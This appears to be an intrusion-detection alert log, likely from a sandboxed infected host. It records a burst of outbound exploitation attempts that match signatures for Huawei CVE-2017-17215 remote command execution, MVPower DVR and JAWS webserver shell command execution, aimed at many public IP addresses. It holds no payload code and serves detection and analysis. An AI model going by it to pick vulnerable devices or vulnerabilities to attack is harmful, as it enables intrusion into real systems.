06/10/24-15:38:02.509056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43224	37215	192.168.2.13	156.103.216.158
06/10/24-15:37:59.860897	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56400	80	192.168.2.13	76.87.100.69
06/10/24-15:37:59.793177	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52842	80	192.168.2.13	181.232.47.252
06/10/24-15:38:02.699989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56932	37215	192.168.2.13	41.161.75.219
06/10/24-15:38:02.494045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35882	37215	192.168.2.13	197.129.137.220
06/10/24-15:38:00.216411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34482	37215	192.168.2.13	41.10.140.61
06/10/24-15:38:02.086431	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35036	80	192.168.2.13	64.180.193.8
06/10/24-15:38:02.850206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40532	37215	192.168.2.13	156.21.120.143
06/10/24-15:37:59.961213	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42564	37215	192.168.2.13	197.27.200.127
06/10/24-15:38:02.128087	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37282	80	192.168.2.13	193.181.62.252
06/10/24-15:38:02.917908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47136	37215	192.168.2.13	197.51.204.222
06/10/24-15:38:02.772411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43048	37215	192.168.2.13	156.186.79.156
06/10/24-15:37:59.827151	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51382	80	192.168.2.13	160.158.220.221
06/10/24-15:38:02.822383	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44278	37215	192.168.2.13	197.207.208.126
06/10/24-15:38:02.512532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34816	37215	192.168.2.13	156.214.52.148
06/10/24-15:38:02.909928	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54426	37215	192.168.2.13	41.223.106.15
06/10/24-15:38:00.236295	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45428	37215	192.168.2.13	156.103.207.1
06/10/24-15:37:59.858870	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34410	80	192.168.2.13	178.116.76.220
06/10/24-15:38:00.035608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41890	37215	192.168.2.13	197.253.99.100
06/10/24-15:38:02.156695	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57996	80	192.168.2.13	181.74.252.245
06/10/24-15:38:02.849196	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41440	37215	192.168.2.13	197.11.180.159
06/10/24-15:37:59.762945	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50134	80	192.168.2.13	102.230.19.253
06/10/24-15:38:00.223242	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50042	37215	192.168.2.13	197.42.26.190
06/10/24-15:38:02.143166	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48458	80	192.168.2.13	24.64.193.46
06/10/24-15:38:02.167637	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39078	80	192.168.2.13	131.34.203.87
06/10/24-15:38:02.488251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33812	37215	192.168.2.13	156.106.75.142
06/10/24-15:37:59.927028	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33064	37215	192.168.2.13	41.251.69.196
06/10/24-15:38:00.038461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51092	37215	192.168.2.13	197.21.231.68
06/10/24-15:38:02.122707	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47044	80	192.168.2.13	72.90.29.55
06/10/24-15:38:02.511832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40166	37215	192.168.2.13	41.124.203.218
06/10/24-15:38:02.774996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39138	37215	192.168.2.13	156.179.59.101
06/10/24-15:37:59.840660	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33900	80	192.168.2.13	37.242.196.25
06/10/24-15:38:02.083314	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35834	80	192.168.2.13	75.46.147.180
06/10/24-15:37:59.954562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33990	37215	192.168.2.13	41.196.189.226
06/10/24-15:37:59.767523	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60126	80	192.168.2.13	88.157.63.21
06/10/24-15:37:59.998646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59662	37215	192.168.2.13	197.50.100.135
06/10/24-15:38:02.495196	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51876	37215	192.168.2.13	156.66.48.9
06/10/24-15:38:02.825900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56588	37215	192.168.2.13	197.48.146.219
06/10/24-15:37:59.971341	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47258	37215	192.168.2.13	41.170.34.101
06/10/24-15:38:00.224996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55062	37215	192.168.2.13	197.141.161.30
06/10/24-15:38:00.208229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58864	37215	192.168.2.13	156.181.42.38
06/10/24-15:38:02.236059	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56122	80	192.168.2.13	32.84.255.187
06/10/24-15:38:00.240544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39526	37215	192.168.2.13	156.14.175.34
06/10/24-15:38:02.926997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42424	37215	192.168.2.13	197.184.123.16
06/10/24-15:38:02.127508	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36034	80	192.168.2.13	179.134.3.40
06/10/24-15:37:59.979940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35362	37215	192.168.2.13	41.117.93.142
06/10/24-15:38:00.271532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51048	37215	192.168.2.13	41.136.101.104
06/10/24-15:38:02.137618	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57064	80	192.168.2.13	93.149.221.237
06/10/24-15:38:02.238179	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51116	80	192.168.2.13	204.127.150.87
06/10/24-15:38:02.823755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39666	37215	192.168.2.13	156.35.194.89
06/10/24-15:38:02.156095	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35272	80	192.168.2.13	19.229.67.74
06/10/24-15:38:02.180786	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34516	80	192.168.2.13	70.179.238.108
06/10/24-15:38:00.134301	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45440	37215	192.168.2.13	197.110.124.70
06/10/24-15:38:02.672216	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38730	37215	192.168.2.13	197.176.219.219
06/10/24-15:38:02.758344	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33982	37215	192.168.2.13	197.200.122.252
06/10/24-15:37:59.928827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45682	37215	192.168.2.13	41.117.101.224
06/10/24-15:38:02.854671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60760	37215	192.168.2.13	41.101.217.26
06/10/24-15:38:00.274773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34678	37215	192.168.2.13	41.14.173.139
06/10/24-15:38:00.272286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38538	37215	192.168.2.13	41.71.37.130
06/10/24-15:38:02.172142	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53184	80	192.168.2.13	64.124.149.6
06/10/24-15:37:59.968007	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58160	37215	192.168.2.13	197.119.156.133
06/10/24-15:37:59.750933	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35674	80	192.168.2.13	151.218.172.48
06/10/24-15:38:02.647206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39070	37215	192.168.2.13	156.230.86.20
06/10/24-15:37:59.985167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57818	37215	192.168.2.13	156.159.10.140
06/10/24-15:38:00.263818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45736	37215	192.168.2.13	41.207.144.176
06/10/24-15:38:02.707896	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52190	37215	192.168.2.13	156.122.95.109
06/10/24-15:38:00.132023	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43292	37215	192.168.2.13	41.102.185.160
06/10/24-15:38:02.135826	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45424	80	192.168.2.13	117.64.201.48
06/10/24-15:37:59.992906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33394	37215	192.168.2.13	156.168.136.24
06/10/24-15:38:02.814855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35140	37215	192.168.2.13	197.255.67.237
06/10/24-15:38:00.191721	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48406	37215	192.168.2.13	41.226.55.109
06/10/24-15:38:00.016307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60502	37215	192.168.2.13	156.176.31.94
06/10/24-15:38:02.500887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34050	37215	192.168.2.13	156.155.61.239
06/10/24-15:38:02.651590	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45096	37215	192.168.2.13	197.64.191.165
06/10/24-15:38:00.260853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44940	37215	192.168.2.13	197.195.196.75
06/10/24-15:38:00.166755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34632	37215	192.168.2.13	41.79.189.48
06/10/24-15:38:02.877070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54630	37215	192.168.2.13	197.158.23.49
06/10/24-15:37:59.967169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36602	37215	192.168.2.13	197.230.194.3
06/10/24-15:38:00.235344	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51868	37215	192.168.2.13	197.27.124.211
06/10/24-15:38:00.022039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48046	37215	192.168.2.13	197.167.77.113
06/10/24-15:38:00.028419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42996	37215	192.168.2.13	197.211.105.203
06/10/24-15:38:02.181988	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39736	80	192.168.2.13	62.45.198.223
06/10/24-15:37:59.926044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44436	37215	192.168.2.13	156.190.41.183
06/10/24-15:38:02.793700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44336	37215	192.168.2.13	197.253.198.195
06/10/24-15:37:59.966319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41788	37215	192.168.2.13	197.234.232.228
06/10/24-15:38:02.495900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54566	37215	192.168.2.13	156.84.42.33
06/10/24-15:38:02.195818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45542	80	192.168.2.13	66.229.246.168
06/10/24-15:38:02.911966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33880	37215	192.168.2.13	41.213.29.197
06/10/24-15:38:00.017007	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41972	37215	192.168.2.13	156.163.189.151
06/10/24-15:38:02.503623	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36608	37215	192.168.2.13	156.212.201.147
06/10/24-15:38:02.762083	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59392	37215	192.168.2.13	156.167.31.0
06/10/24-15:37:59.935900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38508	37215	192.168.2.13	156.67.226.82
06/10/24-15:38:00.259448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58672	37215	192.168.2.13	197.171.135.28
06/10/24-15:37:59.929860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33796	37215	192.168.2.13	156.205.253.53
06/10/24-15:38:02.094682	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41156	80	192.168.2.13	116.139.9.42
06/10/24-15:38:02.705525	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49644	37215	192.168.2.13	41.150.3.195
06/10/24-15:38:00.023435	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56786	37215	192.168.2.13	197.59.140.99
06/10/24-15:38:00.248014	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34566	37215	192.168.2.13	156.132.214.203
06/10/24-15:38:02.719824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37502	37215	192.168.2.13	41.180.76.156
06/10/24-15:37:59.962047	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56114	37215	192.168.2.13	156.237.170.76
06/10/24-15:38:00.164438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48850	37215	192.168.2.13	156.202.215.189
06/10/24-15:38:00.226767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33888	37215	192.168.2.13	197.22.241.36
06/10/24-15:38:02.084446	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43700	80	192.168.2.13	8.145.15.147
06/10/24-15:38:02.709297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33708	37215	192.168.2.13	41.0.196.5
06/10/24-15:38:02.745716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45604	37215	192.168.2.13	197.100.179.179
06/10/24-15:38:02.857260	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52206	37215	192.168.2.13	41.31.52.172
06/10/24-15:38:02.128991	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44504	80	192.168.2.13	190.161.182.142
06/10/24-15:38:02.731556	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54960	37215	192.168.2.13	156.86.244.31
06/10/24-15:38:02.751686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53884	37215	192.168.2.13	197.255.245.2
06/10/24-15:38:02.734955	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57338	37215	192.168.2.13	156.126.41.40
06/10/24-15:38:02.648657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44284	37215	192.168.2.13	41.231.143.228
06/10/24-15:38:02.664556	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42468	37215	192.168.2.13	197.210.141.62
06/10/24-15:38:00.224097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47094	37215	192.168.2.13	156.137.31.90
06/10/24-15:38:02.810751	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53740	37215	192.168.2.13	156.100.123.7
06/10/24-15:37:59.979091	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45156	37215	192.168.2.13	197.37.79.4
06/10/24-15:38:02.615090	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52872	37215	192.168.2.13	41.51.65.173
06/10/24-15:38:02.200766	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55206	80	192.168.2.13	39.154.202.115
06/10/24-15:38:02.252788	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44368	80	192.168.2.13	202.69.204.2
06/10/24-15:38:02.102548	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41406	80	192.168.2.13	147.119.198.29
06/10/24-15:38:02.219305	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33066	80	192.168.2.13	109.50.38.173
06/10/24-15:38:02.907506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51602	37215	192.168.2.13	156.230.96.138
06/10/24-15:37:59.991203	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52860	37215	192.168.2.13	156.29.235.89
06/10/24-15:38:00.205893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36610	37215	192.168.2.13	197.128.46.215
06/10/24-15:38:02.241705	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50282	80	192.168.2.13	78.97.49.13
06/10/24-15:38:00.268090	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59132	37215	192.168.2.13	156.196.209.129
06/10/24-15:38:02.488949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38910	37215	192.168.2.13	41.194.53.246
06/10/24-15:38:02.161714	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50788	80	192.168.2.13	110.144.244.193
06/10/24-15:37:59.984293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52668	37215	192.168.2.13	156.197.209.223
06/10/24-15:37:59.863643	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43232	80	192.168.2.13	80.234.35.77
06/10/24-15:37:59.852064	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45994	80	192.168.2.13	120.127.248.215
06/10/24-15:38:02.150981	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42214	80	192.168.2.13	105.229.187.237
06/10/24-15:38:02.107053	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49634	80	192.168.2.13	37.113.221.65
06/10/24-15:38:02.189189	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54590	80	192.168.2.13	181.43.113.5
06/10/24-15:38:02.649435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44504	37215	192.168.2.13	41.61.237.24
06/10/24-15:38:00.211497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45922	37215	192.168.2.13	156.25.179.14
06/10/24-15:38:02.739622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58650	37215	192.168.2.13	156.58.2.142
06/10/24-15:38:02.781625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39322	37215	192.168.2.13	156.207.139.16
06/10/24-15:37:59.833827	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51492	80	192.168.2.13	154.68.192.29
06/10/24-15:38:02.914938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59818	37215	192.168.2.13	197.246.148.60
06/10/24-15:38:02.688716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42320	37215	192.168.2.13	197.58.68.31
06/10/24-15:37:59.769858	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39338	80	192.168.2.13	193.5.227.125
06/10/24-15:38:00.165713	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36522	37215	192.168.2.13	41.139.140.243
06/10/24-15:38:02.765712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42732	37215	192.168.2.13	41.182.157.126
06/10/24-15:37:59.774510	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54128	80	192.168.2.13	115.56.153.54
06/10/24-15:38:02.261737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32990	80	192.168.2.13	181.122.54.158
06/10/24-15:38:02.177787	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54386	80	192.168.2.13	186.93.20.106
06/10/24-15:38:02.791154	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34792	37215	192.168.2.13	41.189.9.139
06/10/24-15:38:00.233672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59904	37215	192.168.2.13	197.114.103.51
06/10/24-15:38:00.187605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46806	37215	192.168.2.13	197.214.46.200
06/10/24-15:38:00.178071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44078	37215	192.168.2.13	41.69.149.120
06/10/24-15:38:02.500162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43270	37215	192.168.2.13	156.241.169.48
06/10/24-15:38:02.683936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59854	37215	192.168.2.13	156.19.238.181
06/10/24-15:38:02.925765	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55820	37215	192.168.2.13	156.189.36.162
06/10/24-15:38:02.868091	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40972	37215	192.168.2.13	197.16.236.173
06/10/24-15:38:02.225181	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51454	80	192.168.2.13	202.253.242.169
06/10/24-15:37:59.758232	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43434	80	192.168.2.13	57.244.132.164
06/10/24-15:38:02.650837	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42044	37215	192.168.2.13	197.254.128.168
06/10/24-15:38:02.645712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43262	37215	192.168.2.13	41.98.155.71
06/10/24-15:38:02.655152	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48126	37215	192.168.2.13	41.138.83.212
06/10/24-15:38:00.266123	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37370	37215	192.168.2.13	41.129.146.218
06/10/24-15:38:00.210637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50210	37215	192.168.2.13	156.62.210.214
06/10/24-15:38:00.222372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57074	37215	192.168.2.13	41.9.164.177
06/10/24-15:38:02.932450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33406	37215	192.168.2.13	156.179.20.17
06/10/24-15:38:02.847965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46436	37215	192.168.2.13	156.234.121.196
06/10/24-15:38:02.185648	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38838	80	192.168.2.13	51.241.250.184
06/10/24-15:38:00.002137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54402	37215	192.168.2.13	41.63.241.27
06/10/24-15:37:59.962891	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58138	37215	192.168.2.13	156.59.177.15
06/10/24-15:38:02.921767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37950	37215	192.168.2.13	41.78.178.23
06/10/24-15:37:59.862278	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43590	80	192.168.2.13	200.227.24.116
06/10/24-15:38:02.096206	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35516	80	192.168.2.13	118.208.232.79
06/10/24-15:38:02.151592	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42566	80	192.168.2.13	61.33.199.230
06/10/24-15:38:02.843717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50194	37215	192.168.2.13	156.3.211.244
06/10/24-15:38:02.116834	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37242	80	192.168.2.13	90.50.216.33
06/10/24-15:38:02.878023	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59264	37215	192.168.2.13	197.15.80.136
06/10/24-15:38:02.637710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50306	37215	192.168.2.13	156.0.208.206
06/10/24-15:37:59.824955	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48068	80	192.168.2.13	189.244.26.215
06/10/24-15:38:00.021324	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51562	37215	192.168.2.13	41.130.180.46
06/10/24-15:38:02.674620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54890	37215	192.168.2.13	197.224.191.228
06/10/24-15:38:00.208966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42074	37215	192.168.2.13	156.250.0.84
06/10/24-15:38:02.869779	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58204	37215	192.168.2.13	197.36.79.49
06/10/24-15:38:02.255540	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36482	80	192.168.2.13	103.129.186.135
06/10/24-15:38:00.199727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35058	37215	192.168.2.13	41.251.58.239
06/10/24-15:38:00.039932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38456	37215	192.168.2.13	156.139.95.100
06/10/24-15:38:02.229242	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56118	80	192.168.2.13	53.171.149.247
06/10/24-15:38:00.274014	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59706	37215	192.168.2.13	156.154.82.234
06/10/24-15:37:59.980839	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35420	37215	192.168.2.13	197.64.121.194
